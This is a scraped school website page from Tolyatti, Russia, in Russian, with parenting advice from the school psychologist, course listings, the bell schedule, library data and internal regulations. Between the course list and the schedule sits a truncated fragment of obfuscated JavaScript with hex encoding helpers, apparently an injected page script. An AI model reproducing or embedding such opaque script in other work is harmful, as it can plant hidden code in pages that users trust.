21
Муниципальное бюджетное общеобразовательное учреждение г.о. Тольятти
"Школа с углубленным изучением отдельных предметов №21"
Адрес: 445004,г. Тольятти, бульвар 50 лет Октября, дом 23
Тел., факс: (8482)70-88-22, e-mail: school21@edu.tgl.ru
Учредитель: Администрация городского округа Тольятти
Адрес: 445011 Россия, г. Тольятти, пл.Свободы, 4
График приема граждан: http://www.tgl.ru/structure/department/upravlenie-po-orgrabote-i-svyazyam-s-obschestvennostyu-organizaciya-raboty-s-obrascheniyami-grazhdan/
Телефон/факс: (8482)54-36-66 . Подробнее об учредителе:
http://http://www.tgl.ru/structure/ E-mail: tgl@tgl.ru.
Сортировать статьи по: дате | популярности | посещаемости | комментариям | алфавиту
Информация к новости

Психологи советуют

Категория: Воспитание » Психологи советуют

 

Школьный психолог - Курылева Екатерина Сергеевна (тел. 22-66-96).

 

Консультирование родителей:


понедельник: 15.00-16.00;


среда: 16.00-18.00;


четверг: 14.00 - 15.00


 

Сайт "Шпаргалка для родителей" -http://superpredki.ru/psihi.html

О VI областной Неделе труда и профориентации «Семь шагов к профессии» - n.truda-2016_opisanie-osobennosti.doc [ b] (cкачиваний: 0)

 

Выход в школу

Если ребенок забыл положить в сумку учебник, завтрак, очки; лучше протянуть их молча, чем пускаться в напряженное рассуждение о его забывчивости и безответственности.
"Вот твои очки" - лучше, чем "Неужели я доживу до того времени, когда ты научишься сам класть очки".
Не ругать и не читать нотаций перед школой. На прощание лучше сказать: "Пусть все сегодня будет хорошо", чем "Смотри, веди себя хорошо, не балуйся". Ребенку приятнее услышать доверительную фразу: "Увидимся в два часа", чем "После школы нигде не шляйся, сразу домой".


Возвращение из школы

Не задавать вопросы, на которые дети дают привычные ответы.
- Как дела в школе?
- Нормально.
- А что сегодня делали?
- А ничего.


Вспомните себя, как порой раздражал этот вопрос, особенно когда оценки не соответствовали ожиданию со стороны родителей ("им нужны мои оценки, а не я"). Понаблюдайте за ребенком, какие эмоции "написаны" у него на лице. ("День был трудный? Ты, наверное, еле дождался конца. Ты рад, что пришел домой?").
Пришел из школы. Помните - на спаде работоспособности! Вот почему абсолютно необходимо ему сначала пообедать, отдохнуть - и ни в коем случае не садиться сразу же за уроки (а так, к сожалению, бывает часто). Отдохнуть надо бы не лежа, не у телевизора или видеомагнитофона, а на воздухе, в активных играх, в движении.
Гигиенисты считают: нормальное время прогулки для школьников младших классов - не меньше 3-3,5 часа.
А еще нередки случаи, когда родители лишают детей прогулки - в наказание за плохие оценки, плохое поведение и т. п. Худшего не придумаешь! Наказали не проступок, а самого ребенка, его завтрашнее настроение в школе!
Для детей ослабленных, часто болеющих, со слабой нервной системой лучшим отдыхом будет полуторачасовой дневной сон в хорошо проветренной комнате. Сон способствует еще и разгрузке опорно-двигательного аппарата и служит хорошей профилактикой нарушений осанки. Но это именно для детей ослабленных - есть и много таких, для кого лучшим отдыхом будет движение.
Лучшее время для приготовления уроков - 15-16 часов. Через каждые 25-30 минут - перерыв, физкультминутки под музыку (они восстанавливают работоспособность, отдаляют утомление). Начинать приготовление уроков нужно с менее сложных (помните о врабатывании!), затем переходить к самым трудным.
Больной вопрос - телевизор. Не стоит младшим школьникам сидеть у телевизора больше 40-45 минут в день! А детям возбудимым, ослабленным - лучше сократить и это время. Ни в коем случае не смотреть телевизор лежа.


Пора спать

Особенно важно для борьбы с утомлением соблюдение необходимой продолжительности ночного сна. Первокласснику необходимо спать 11,5 часа в сутки, включая 1,5 часа дневного сна. Чтобы сон был глубоким и спокойным, нужно соблюдать элементарные правила: перед сном не играть в шумные, "заводные" игры, не заниматься спортом, не смотреть страшные фильмы, не устраивать взбучку и т.д.
А это мало-помалу сказывается: ухудшаются память, внимание, работоспособность. Снижение работоспособности и повышенная утомляемость могут наблюдаться и при достаточном по времени, но беспокойном сне, частых пробуждениях, что нередко бывает, когда в комнате, где спит ребенок, включен телевизор, радио.
Дошкольников и младших школьников лучше укладывать спать самим родителям (мать и отец). Если перед сном доверительно поговорить с ним, внимательно выслушать, успокоить страхи, показать, что ты понимаешь ребенка, тогда он научится раскрывать душу и освободится от страхов, тревоги, спокойно заснет.


ЭМОЦИОНАЛЬНАЯ ПОДДЕРЖКА

1) ни в коем случае не сравнивать его посредственные результаты с эталоном, то есть с требованиями школьной программы, достижениями других, более успешных, учеников. Лучше вообще никогда не сравнивать ребенка с другими детьми (вспомните свое детство).
2) Сравнивать ребенка можно только с ним самим и хвалить только за одно: улучшение его собственных результатов. Если во вчерашнем домашнем задании он сделал 3 ошибки, а в сегодняшнем - 2, это нужно отметить как реальный успех, который должен быть оценен искренне и без иронии родителями. Соблюдение правил безболезненного оценивания школьных успехов должно сочетаться с поисками такой деятельности, в которой ребенок может быть реализует себя и с поддержанием ценности этой деятельности. В чем бы ни был успешен ребенок, страдающий школьной неуспешностью, в спорте, домашних делах, в рисовании, конструировании и т.д., ему ни в коем случае нельзя ставить в вину неуспехи в других школьных делах. Напротив, следует подчеркнуть, что раз он что-то научился делать хорошо, то постепенно научится всему остальному.
Родители должны терпеливо ждать успехов, ибо на школьных делах чаще всего и происходит замыкание порочного круга тревожности. Школа должна очень долго оставаться сферой щадящего оценивания.
Болезненность школьной сферы должна быть снижена любыми средствами: снизить ценность школьных отметок, то есть показать ребенку, что его любят не за хорошую учебу, а любят, ценят, принимают вообще как собственное дитя, безусловно, не за что - то, а вопреки всему.


Как это можно сделать?

1. Не показывать ребенку свою озабоченность его школьными успехами.
2. Искренне интересоваться школьной жизнью ребенка и смещать фокус своего внимания с учебы на отношения ребенка с другими детьми, на подготовку и проведение школьных праздников, дежурства, экскурсий и т.п.
3. Подчеркивать, выделять в качестве чрезвычайно значимой ту сферу деятельности, где ребенок больше успешен, помогать тем самым обрести веру в себя.
1. Четкое распределение, регуляция родительского внимания к ребенку по формуле " уделять ребенку внимание не только когда он плохой, а когда он хороший и больше, когда он хороший". Здесь главное замечать ребенка, когда он незаметен, когда он не выкидывает фокусов, надеясь привлечь внимания.
Главная награда - это доброе, любящее, открытое, доверительное общение в те минуты, когда ребенок спокоен, уравновешен, что-либо делает. (Хвалите его деятельность, работу, а не самого ребенка, он все равно не поверит). Мне нравится твой рисунок. Мне приятно видеть, как ты занимаешься со своим конструктором и т.д.).
2. Ребенку надо найти сферу, где он мог бы реализовать свою демонстративность (кружки, танцы, спорт, рисование, изостудии и т.д.).
Никогда не отправляйте ребенка одновременно в первый класс и какую-то секцию или кружок. Само начало школьной жизни считается тяжелым стрессом для 6-7-летних детей. Если малыш не будет иметь возможности гулять, отдыхать, делать уроки без спешки, у него могут возникнуть проблемы со здоровьем, может начаться невроз. Поэтому, если занятия музыкой и спортом кажутся вам необходимой частью воспитания вашего ребенка, начните водить его туда за год до начала учебы или со второго класса.


УЧИТЕЛЬНИЦА

Учительница, даже самая строгая, даже не всегда справедливая, для ребенка, особенно в первое время,- "самая-самая", и ваше негативное отношение к ее требованиям только затруднит ребенку его собственное определение в статусе ученика. Критерии того, "что можно" и "что нельзя", чаще определяются учителем, поэтому не сердитесь, если в ответ на свое требование услышите: "А Софья Петровна сказала, что так нельзя". Софья Петровна - высший авторитет, перед которым меркнет даже родительский. Не огорчайтесь и запомните: парировать это замечание фразой: "Много знает твоя Софья Петровна..." или тому подобной - запрещенный прием. Если ваш малыш встанет ни свет, ни заря потому, что он сегодня дежурный, и говорит, что должен прийти раньше всех, отнеситесь к этому так же серьезно, как он. Если он попросил вас что-то подготовить к школе, а вы по какой-то причине не сделали этого, для вас не должна быть неожиданной бурная реакция и даже слезы. Вы же сами требуете серьезного отношения к школе, и ребенок не умеет разделить, что значимо, что нет, для него одинаково значимо все: чистая тетрадь и цветные карандаши, спортивная форма и цветок, который вы обещали принести в класс.
Более полувека назад известный педагог Я.Корчак писал: "Все современное воспитание направлено на то, чтобы ребенок был удобен, последовательно, шаг за шагом стремится усыпить все, что является волей и свободой ребенка, стойкостью его духа, силой его требований. Вежлив, послушен, хорош, удобен, а и мысли нет о том, что будет внутренне безволен и жизненно немощен".
Информация к новости

Предпрофильная подготовка

Категория: Обучение » Предпрофильная подготовка

ПРЕДПРОФИЛЬНАЯ ПОДГОТОВКА И ПРОФИЛЬНОЕ ОБУЧЕНИЕ

в МБУ «Школа № 21"


Уважаемые 9-классники  2015/2016 учебного года!

 

Предпрофильная подготовка – это целая система знакомства с миром профессий в 9 классе, помогающая определиться со сферой будущей профессиональной деятельности и/или профилем обучения в 10-11 классах.

 

 

http://tlt.predprofil.ru/

Все курсы условно поделены на 8  профилей:

<!--[if !supportLists]-->1.           <!--[endif]-->ИНЖЕНЕРНОЕ ДЕЛО, ТЕХНОЛОГИИ И ТЕХНИЧЕСКИЕ НАУКИ – Архитектура (4 курса); Техника и технологии строительства (11); Информатика и вычислительная техника (18); Электроника, радиотехника и системы связи (3); Электро- и теплоэнергетика (9); Машиностроение (20); Химические технологии (1); Промышленная экология и биотехнологии (12); Техносферная безопасность и природообустройство (6); Прикладная геология, горное дело, нефтегазовое дело и геодезия (3); Технологии материалов (2); Техника и технологии наземного транспорта (16); Авиационная и ракетно-космическая техника (1); Управление в технических системах (2); Нанотехнологии и наноматериалы (1); Технологии легкой промышленности (5);

<!--[if !supportLists]-->2.          <!--[endif]-->ЗДРАВООХРАНЕНИЕ И МЕДИЦИНСКИЕ НАУКИ – Клиническая медицина (3); Фармация (1); Сестринское дело (1);

<!--[if !supportLists]-->3.          <!--[endif]-->СЕЛЬСКОЕ ХОЗЯЙСТВО И СЕЛЬСКОХОЗЯЙСТВЕННЫЕ НАУКИ – Сельское, лесное и рыбное хозяйство (2);
<!--[if !supportLineBreakNewLine]-->
<!--[endif]-->

<!--[if !supportLists]-->4.          <!--[endif]-->НАУКИ ОБ ОБЩЕСТВЕ  – Психология (9); Экономика и управление (39); Социология и социальная работа (2); Юриспруденция (11); Средства массовой информации и информационно-библиотечное дело (7); Сервис и туризм (16);

<!--[if !supportLists]-->5.          <!--[endif]-->ОБРАЗОВАНИЕ И ПЕДАГОГИЧЕСКИЕ НАУКИ – Образование и педагогические науки (11);

<!--[if !supportLists]-->6.          <!--[endif]-->ГУМАНИТАРНЫЕ НАУКИ – Языкознание и литературоведение (8); История и археология (5); Физическая культура и спорт (3);

<!--[if !supportLists]-->7.          <!--[endif]-->ИСКУССТВО И КУЛЬТУРА – Культуроведение и социокультурные проекты (5); Сценические искусства и литературное творчество (3); Музыкальное искусство (3); Изобразительное и прикладные виды искусств (19); Экранные искусства (1);

<!--[if !supportLists]-->8.          <!--[endif]-->ОБОРОНА И БЕЗОПАСНОСТЬ ГОСУДАРСТВА. ВОЕННЫЕ НАУКИ – Военное управление (1).

 

Список учащихся с распределением по курсам - 2015-spisok-uchaschihsya-po-kursam.doc [ b] (cкачиваний: 8)


 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "school21.tlt.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Информация к новости

Режим дня

Категория: Обучение » Режим дня и расписание звонков

 

Расписание звонков

 

I смена


8.00 - 8.40

8.50 - 9.30

9.40 - 10.20

10.30 - 11.10

11.25 - 12.05

12.10 - 12.50

 

II смена


13.15 - 13.55

14.05 - 14. 45

15.00 - 15.40

15.55 - 16. 35

16.45 -17.25

17.30 - 18.10

Информация к новости

Библиотечный фонд

Категория: Условия обучения » Библиотечный фонд

1. Нормативная база

Закон РФ «Об образовании» от 10.07.1992

№ 3266-1, действует до 1 сентября 2013,

пункты 18,18.1, статьи 28, пункты 6.1, 6,5,

15, 15.1 статьи 29, пункт 23 статьи 32, п.4

статьи 55

Определены полномочия федеральных орга-

нов и органов государственной власти субъ-

ектов РФ в сфере образования, ОУ по вопро-

сам обеспечения учебниками

 

Закон РФ «Об образовании» в Российской

Федерации» от 29.12.2012 № 273-ФЗ, всту-

пает в силу с 1 сентября 2013, пп.3,10 ста-

тьи 8, статья 18, статья 35, п.4 статьи 47, п.

11 статьи 79

Определены полномочия федеральных орга-

нов и органов государственной власти субъ-

ектов РФ в сфере образования, ОМС, ОУ по

вопросам учебного книгообеспечения

Постановление Правительства Российской

Федерации от 02.07.1994 №767 «О мерах по

обеспечению образовательных учреждений

учебной литературой»

Согласно пункту 6 органам исполнительной

власти субъектов РФ следует предусматри-

вать отдельной строкой в региональном бюд-

жете финансирование в объеме не менее 70%

от стоимости литературы

Распоряжение Правительства Российской

Федерации от 21.07.1997 № 1022-р «Об

обеспечении контроля за изданием учебной

литературы по заказам органов исполни-

тельной власти субъектов Российской Фе-

дерации».

Данным распоряжением органам

Распоряжение Правительства Российской

Федерации от 21.07.1997 № 1022-р «Об

обеспечении контроля за изданием учебной

литературы по заказам органов исполни-

тельной власти субъектов Российской Фе-

дерации».

Данным распоряжением органам исполни-

тельной власти субъектов РФ и ОМС реко-

мендовано самостоятельно определять поря-

док обеспечения учебной литературой госу-

дарственных и муниципальных общеобразо-

вательных учреждений, находящихся в их

введении.

Федеральный перечень учебников, реко-

мендованных Минобрнауки России к ис-

пользованию в образовательном процессе в

общеобразовательных учреждениях на

2013/14 учебный год, утвержденный прика-

зом Минобрнауки России от 19.12.№ 1067

К новому учебному году ФП дополняются

учебниками, прошедшими экспертизу в теку-

щем календарном году. На основании данного

перечня образовательные учреждения опреде-

ляют список учебников, используемых шко-

лой при организации процесса обучения.

Письмо Минобрнауки России от 08.12.2011

№МД-1634/03 «Об использовании учебни-

ков в образовательном процессе»

Срок действия учебников - это срок действия

стандартов в соответствии с которым учебник

прошел экспертизу. Это дает возможность не

закупать учебники по одним и тем же предме-

там ежегодно, за исключением физического

износа, который устанавливается по факту в

каждом конкретном случае.

 

Постановление Правительства Самарской области "О мерах по обеспечению учащихся учебными изданиями, приобретаемых за счет средств областного бюджета"

Приказ Департамента образования "О формировании бланка заказа на учебные издания, приобретаемые в 2017 году за счет средств областного бюджета"

Приложение - бланк заказа

Приказ об утверждении перечня учебной литературы на 2017 - 2018 учебный год

Приказ о заказе учебной литературы

Срок службы учебников

О нормативном сроке использования учебников

Обеспеченность учебниками в 2017 - 2018 учебном году

Перечень учебной литературы на 2017 - 2018 учебный год

Мониторинг обеспеченности учебниками

Положение об ИБЦ

Положение об обменном фонде учебников


Обеспеченность учебниками по ФГОС в 2017 - 2018 учебном году

 

Фонд художественной литературы 

Фонд учебной литературы 

Учебная литература по классам 

Учебная  литература по ФГОС 

2743 экз.

14399экз.

Класс

Кол-во учеников

Кол-во

учебников

1

126

1098

2

120

1031

3

121

954

4

112

898

5

100

1366

6

105

1450

7

124

1789

8

106

1630

9

115

1581

10

56

870

11

47

860

 

11 070 экз

 

 

Перечень учебной литературы на 2016-2017 учебный год  

Перечень учебной литературы на 2017 - 2018 учебный год

Информация к новости

Правила внутреннего распорядка

Категория:

Копия правил внутреннего распорядка - pravila-vnutrennego-rasporyadka.pdf [252,34 Kb] (cкачиваний: 22)

Правила внутреннего распорядка

 

1.   Общие положения

1.1.       Правила   внутреннего   распорядка   -   локальный   нормативный   акт,   регламентирующий отношения участников образовательного процесса: режим работы, время отдыха, применяемые к сотрудникам   и   учащимся   меры   поощрения   и   взыскания,   основные   права,   обязанности   и ответственность участников образовательного процесса муниципального бюджетного общеобразовательного учреждения средней общеобразовательной школы с углубленным изучением отдельных предметов №21 г.о. Тольятти (далее – Школа).

1.2.  Правила внутреннего распорядка Школы разработаны на основе закона "Об образовании" РФ, трудового   законодательства   Российской   Федерации, Конвенции ООН о правах ребенка и иных нормативных правовых актов  Российской Федерации, Самарской области, муниципальных правовых актов городского округа Тольятти, Устава Школы.

1.3.  Правила внутреннего распорядка обязательны для всех сотрудников и учащихся Школы.

 

2.   Организация учебно-воспитательного процесса

2.1.   Учебный год в Школе, как правило, начинается 1 сентября.

2.2. Продолжительность   учебного   года  во   2-11   классах  -  не  менее   34  недель   без  учета государственной (итоговой) аттестации, в 1 классе - 33 недели.

2.3.  Продолжительность каникул в течение учебного года составляет не менее 30 календарных дней, летом - не менее 8 недель. Для обучающихся в первом классе устанавливаются в течение года дополнительные недельные каникулы.

2.4.    Продолжительность учебной недели - 6 дней, определенная педагогическим советом с учетом мнения обучающихся, их родителей (законных представителей) в зависимости от учебного плана.

2.5. Продолжительность урока в 1 классах:

- в сентябре - декабре –  35 минут;

- в январе-мае – не превышает 45 минут.

Во 2-11 классах продолжительность урока не превышает 45 минут. Продолжительность перемены - 10 минут, после 4-го урока 1 смены – 15 минут, между сменами – 30 минут. 

2.5.      Учебные занятия в Школе проводятся по расписанию в соответствии с учебными планами и программами, утвержденными директором Школы.

2.6.        Учебное расписание составляется на год и вывешивается не позднее, чем за два дня до начала занятий. Для проведения факультативных занятий составляется отдельное расписание. Проведение уроков за сеткой утвержденного расписания запрещено.

2.7.   Занятия в Школе начинаются в 8.00 для обучающихся 2-11 классов и в 8.45 для обучающихся 1 классов.

2.8.    О начале и завершении учебного занятия преподаватели и учащиеся извещаются звонком.

2.9.    После начала занятий во всех учебных и прилегающих к ним помещениях должны быть обеспечены тишина и порядок, необходимые для нормального хода учебных занятий. Недопустимо прерывать учебные занятия, входить в аудиторию и выходить из нее во время их проведения.

2.10.   Первый звонок на урок - предупредительный. По 1-му звонку учащиеся заходят в класс и готовятся к уроку. По 2-ому звонку урок должен начаться. После звонка, извещающего о начале занятий, школьники имеют право войти в аудиторию только с разрешения учителя. Вход в класс после  звонка является  опозданием,   о  чем  делается  запись  в  дневнике  учащегося.  Учащиеся, систематически опаздывающие на уроки, вызываются для объяснения в администрацию Школы.

2.11.  Учитель не имеет права задерживать учащихся после звонка с урока.

2.12.   Удаление учащихся с урока запрещено.

2.13.   Снятие учащихся с урока возможно только с согласия учащихся и учителя по распоряжению директора Школы или дежурного администратора.

2.14.  Проведение контрольных опросов после уроков возможно только с целью улучшения отметки по просьбе ученика или его родителей при согласии учителя.

2.16. Дисциплина в Школе поддерживается на основе уважения человеческого достоинства обучающихся и педагогических  работников. Применение методов физического и психического воздействия по отношению к обучающимся не допускается.

2.17. В  течение  учебного   дня  учащимся  не   может  быть   предложено   более   1   письменной контрольной работы на весь урок, либо более 2-х письменных самостоятельных (практических) работ на 15-20 минут, либо 3-х индивидуальных опросов у доски.

2.18. Вход в здание Школы    осуществляется по электронным пропускам для сотрудников и учащихся Школы и по документу, удостоверяющему личность, для гостей Школы с отметкой в журнале посетителей.

2.19. Ключи от кабинетов Школы находятся на посту охраны и выдаются только сотрудникам Школы под подпись. Ключи  в обязательном порядке должны быть  сданы в день получения, несвоевременная сдача ключей является дисциплинарным проступком.

 

3. Организация деятельности работников Школы

3.1. Организация  деятельности  работников  Школы  осуществляется     на  основании  трудового договора,   регулируется      трудовым   законодательством   Российской   Федерации,   Законом   «Об Образовании», Правилами внутреннего трудового распорядка, должностной инструкцией и иными локальными актами.

3.2. Прием  на работу  и  увольнение  сотрудника  оформляется  приказом  директора школы  с соответствующей записью в трудовую книжку работника.

3.3.      Рабочее время и его использование

3.1.1. В  Школе устанавливается  шестидневная рабочая  неделя для  педагогического  состава и пятидневная рабочая неделя для административно-хозяйственного и обслуживающего персонала.

3.1.2. Режим работы руководителя школы, его заместителей, других руководящих работников определяется с учетом необходимости обеспечения руководства деятельностью образовательного учреждения.

3.1.3. Для административно-хозяйственного и обслуживающего персонала обеденный перерыв с 12.00 до 13.00. Педагогическим работникам перерыв для приема пищи с 13.25 до 13.55. а также обеспечивается возможность приема пищи одновременно с обучающимися во время перемен.

3.1.4. Применение сверхурочных работ администрацией может производиться в исключительных случаях, предусмотренных действующим законодательством.

3.4. Запрещается в рабочее время:

- отвлекать работников от их непосредственной работы, вызывать или снимать их с работы для
выполнения общественных обязанностей и проведения разного рода мероприятий, не связанных с производственной деятельностью;

- созывать собрания, заседания и всякого рода совещания по общественным делам, за исключением случаев, заранее согласованных с администрацией.

3.3.6.   Очередность предоставления ежегодных отпусков устанавливается администрацией школы с учетом необходимости обеспечения нормального хода работы школы и благоприятных условий для отдыха работников по заявлениям самих работников.

 

4.Организация деятельности обучающихся Школы

Организация деятельности обучающихся Школы осуществляется    на основании учебного расписания    занятий    в    соответствии    с    учебным    планом    и    программами,    регулируется законодательством Российской Федерации, Законом «Об Образовании», Уставом Школы, Правилами внутреннего трудового распорядка и иными локальными актами.

4.1. Текущий контроль успеваемости:

4.1.2. Текущий   контроль   успеваемости   обучающихся   2-11 классов   осуществляется   учителями   по пятибалльной системе (минимальный балл - 1; максимальный балл - 5).  Промежуточные итоговые отметки в баллах выставляются за четверти во 2-9 классах и в конце полугодия в 10, 11 классах. В конце учебного года выставляются итоговые годовые отметки. В 1 классе балльное оценивание знаний обучающихся не проводится.

4.1.3. Отметки выставляются учителем за учебные виды работ,  предусмотренные программой прохождения   материала,   и   доводятся   до   сведения   ученика  в   тот   же   день.   Не   разрешается выставление отметок за поведение.

4.1.4. Работы, не выполненные или не сданные на проверку в установленный срок по причине систематической неподготовленности ученика к уроку, могут быть оценены учителем оценкой неудовлетворительно.

4.1.5.   Итоговые отметки выставляются на основании не менее 3-х текущих отметок.

4.1.6.   В случае невозможности аттестовать знания ученика из-за многочисленных пропусков уроков ему может быть назначена административная контрольная работа.

Информация о назначении административной контрольной работы сообщается ученику и его родителям заранее, но не позднее, чем за 10 дней до времени проведения контрольной работы.

В случае неявки ученика на административную контрольную работу без уважительной причины ему может быть выставлена итоговая отметка неудовлетворительно.

4.1.7.   Исправление  итоговых   оценок  возможно   по   письменному  заявлению  ученика  или   его родителей, поданному в течение 2-х дней со дня получения оценки. Для пересмотра оценки приказом директора создается комиссия.

4.1.8. Исправление текущей отметки возможно по согласованию с ведущим учителем.

4.1.9. В случае получения учеником неудовлетворительной отметки за четверть ему назначаются обязательные дополнительные занятия в каникулярное время.

4.1.10. Учащимся, имеющим годовые неудовлетворительные отметки, назначаются обязательные дополнительные занятия в летние каникулы с последующей сдачей экзаменов в августе месяце.

4.1.11. Обучающийся, имеющий одну академическую задолженность за год, по заявлению родителей и   решением   педагогического   совета  может   быть   переведен   в   следующий   класс   условно.

Обучающийся обязан ликвидировать академическую задолженность в течение следующего учебного года,   Школа   обязана   создать   условия   обучающимся   для  ликвидации   этой   задолженности   и обеспечить контроль за своевременностью ее ликвидации.

4.1.12. Обучающийся, имеющий академическую задолженность по двум и более предметам или условно переведенный в следующий класс и не ликвидировавший академическую задолженность по одному предмету,   по усмотрению родителей (законных представителей) оставляется на повторное обучение или продолжает получать образование в иных формах.

4.1.13. В случае несогласия обучающегося, его родителей (законных представителей) с годовой отметкой   обучающемуся   предоставляется   возможность   сдать   экзамен   по   соответствующему предмету комиссии, образованной педагогическим советом Школы.

4.2.      Учебные документы:

4.2.1. Классный журнал является документом, в котором учитель фиксирует достигнутые навыки и умения обучающегося, проверяя и оценивая работы (в том числе контрольные), устные ответы.

4.2.2. Дневник обучающегося является документом, посредством которого учитель поддерживает взаимосвязь с родителями учащегося, фиксируя в нем достигнутые навыки и умения обучающегося.

Каждый учащийся должен иметь с собой оформленный дневник установленного образца и предъявлять его по первому требованию учителя.

Ученик должен еженедельно отдавать дневник на подпись родителям. Итоговые отметки, а также замечания учителей должны представляться на подпись родителям в тот же день.

4.2.3.   Личное дело обучающегося является документом, в который заносятся данные о прохождении программы обучения. Личные дела хранятся у секретаря Школы.

4.3.      Поведение учащихся

4.3.1.   Обучающимся в Школе запрещается:

-      приносить,   передавать   или   использовать   оружие   (в   т.ч.   газовое,   пневматическое   или имитационное), спиртные напитки, табачные изделия, токсические и наркотические вещества, спички, зажигалки, колющие и режущие предметы, газовые баллончики, игральные карты;

-       использовать любые средства и вещества, могущие привести к взрывам и пожарам;

-       применять физическую силу для выяснения отношений, запугивания и вымогательства;

-       производить любые действия, влекущие за собой опасные последствия для окружающих.

4.3.2.   Обучающимся в школе рекомендуется:

-       соблюдать режим  Школы.  Учащиеся,  систематически  опаздывающие  в  Школу, могут быть вызваны для объяснения в администрацию Школы;

-      не оставлять в карманах верхней одежды деньги, ключи, проездные билеты, иные ценности;

-     не приносить жевательную резинку.

4.3.3.   В   случае   пропуска   занятий   учащиеся   должны   предъявить   классному   руководителю оправдательные документы: медицинскую справку или заявление родителей.

Ученик, пропустивший без оправдательных документов более 3-х уроков в течение недели, может быть допущен к занятиям только после письменного объяснения на имя заместителя директора Школы.

5. Права участников образовательного процесса

5.1.      Администрация школы имеет право в пределах своей компетенции:

-       присутствовать    на    любых    занятиях,    проводимых    с    учащимися    школы;

-      входить в класс после начала занятий в случае экстренной необходимости;

-      давать обязательные распоряжения учителям, воспитателям, лаборантам, работникам школьной библиотеки;

-    устанавливать объем учебной нагрузки педагогических работников исходя из количества часов по учебному плану и учебным программам, обеспеченности кадрами, других условий работы в Школе;

-    возлагать функции классного руководителя на педагогического работника школы по организации и координации воспитательной работы с обучающимися в классе с его согласия приказом школы;

-    привлекать к дисциплинарной ответственности обучающихся за проступки, дезорганизующие учебно-воспитательный   процесс,   в   порядке,   установленном   Уставом Школы,   Правилами внутреннего распорядка и Правилами о поощрениях и взысканиях;

-    вносить в необходимых случаях временные изменения в расписание занятий, отменять занятия, временно объединять группы и классы для проведения совместных занятий;

-   приостанавливать образовательный процесс в помещениях и кабинетах, если создаются условия, опасные для здоровья учащихся и сотрудников.

5.2.      Педагогические работники школы имеют право на:

-       свободу выбора и использования методик    обучения и воспитания,    учебных пособий    и
материалов, учебников в соответствии с образовательной программой, утвержденной Школой,

-     методов оценки знаний обучающихся;

-   объединение в профессиональные, общественные и иные ассоциации или союзы, деятельность которых в Школе не запрещена законодательством;

-      повышение квалификации;

-       аттестацию на добровольной основе на соответствующую квалификационную категорию и
получение ее в случае успешного прохождения аттестации;

-       приглашение родителей в Школу для решения педагогических вопросов обучения и воспитания;

-      сохранение объема учебной нагрузки на новый учебный год и преемственности преподавания предметов в классах.

-     иные, предусмотренные законодательством права.

5.3.      Обучающиеся   школы имеют право на:

-     бесплатное пользование библиотечно-информационными ресурсами библиотеки Школы;

-      участие в управлении школой в формах, определенных Уставом Школы;

-     уважение   человеческого   достоинства,   на   свободу   совести   и   информации,   на  свободное выражение собственных взглядов и убеждений;

-       условия обучения, гарантирующие охрану и укрепление здоровья;

-      обучение на дому по медицинским и социально-педагогическим показаниям;

-      текущий контроль успеваемости, промежуточную и государственную (итоговую) аттестацию;

-   участие в конкурсах и олимпиадах, спортивных соревнованиях и других видах общественной деятельности;

-      проведение во внеучебное время собраний и митингов по вопросам своих нарушенных прав
(обучающиеся второй и третьей ступеней общего образования);

-      отдых, обеспечиваемый предоставлением не менее 1 выходного дня в неделю, соблюдением
учителями установленной длительности перемен и ежегодными осенними, зимними, весенними и летними каникулами;

-     заблаговременное уведомление учителями о сроках и объеме контрольных работ и проведение в день не более 1 контрольной, или 2-х самостоятельных, или 3-х индивидуальных опросов;

-     получение разъяснений от учителей о мотивах выставления той или иной оценки;

-       личное присутствие при разбирательстве вопросов, связанных с персональным поведением,
успеваемостью;

-      сохранение в тайне доверительной информации о себе;

-       невмешательство в свою личную жизнь;

-       защиту от применения методов физического и психического насилия;

-      поощрение по результатам учебы и общественной деятельности.

5.4.      Родители (законные представители) обучающихся школы имеют право:

-      знакомиться с ходом и содержанием образовательного процесса, с оценками успеваемости своих детей;

-       защищать законные права и интересы ребенка;

-      участвовать в управлении Школой через органы самоуправления, определенные Уставом Школы;

-       посещать уроки только с разрешения администрации Школы.

6.   Обязанности участников образовательного процесса

6.1.      Администрация школы обязана обеспечить:

-      охрану жизни и здоровья учащихся (воспитанников);

-     соблюдение нормативных требований по охране труда и технике безопасности, санитарных
правил и норм;

-      комфортность образовательной среды для всех участников учебного процесса;

-       условия для повышения квалификации педагогических работников;

-       организовать учет явки на работу сотрудников;

-       замену отсутствующего сотрудника другим работником.

6.2.      Педагогические работники школы обязаны:

<!--[if !supportLists]-->-       <!--[endif]-->соответствовать требованиям соответствующих тарифно-квалификационных характеристик;

-      выполнять требования Устава Школы, должностных инструкций;

-      выполнять условия трудового договора;

-       выполнять правила внутреннего трудового распорядка Школы;

-       проходить периодически медицинские обследования;

-       обеспечивать безопасность жизни и здоровья обучающихся во время образовательного процесса;

-       работать честно и добросовестно, соблюдать дисциплину труда - основу порядка в школе,
своевременно и точно исполнять распоряжения администрации, использовать все рабочее время для производительного  труда,  воздерживаться  от действий,  мешающих другим работникам выполнять их трудовые обязанности;

-       соблюдать требования по охране труда, технике безопасности, производственной санитарии,
гигиене труда и пожарной безопасности, предусмотренные соответствующими инструкциями и правилами;

-     принимать меры к немедленному устранению причин и условий, препятствующих нормальной работе  или  затрудняющих   ее   (простой,   авария),   и   немедленно   сообщать  о  случившемся администрации;

-       соблюдать установленный порядок хранения материальных ценностей и документов;

-       беречь   собственность    школы,    эффективно    использовать    оборудование    (компьютеры   и оргтехнику), бережно относиться к инструментам, спецодежде и другим предметам, выдаваемым в пользование работникам, экономно и рационально расходовать материалы, энергию и другие материальные ресурсы;

-       своевременно и четко выполнять указания директора Школы;

-       при невозможности по какой - либо причине явиться на работу в возможно короткий срок
предупредить об этом администратора или одного из руководителей Школы;

-      выполнять другие обязанности, предусмотренные действующим законодательством.

6.3.      Обучающиеся Школы обязаны:

-   добросовестно учиться, овладевая знаниями, изучать предметы, принятые по учебному плану в качестве обязательных, выполнять в установленном порядке все виды заданий, предусмотренных учебным   планом   и   программами   обучения,   сдавать   зачеты,   экзамены  по   установленному администрацией графику;

-       заботиться о чести и поддержании традиций школы, ее авторитете;

-       знать гимн и символику Школы, уважительно к ним относиться;

-      заботиться о своем здоровье, безопасности и жизни окружающих;

-   бережно относиться к имуществу школы, рационально использовать школьную собственность, исправлять или возмещать причиненный школе ущерб;

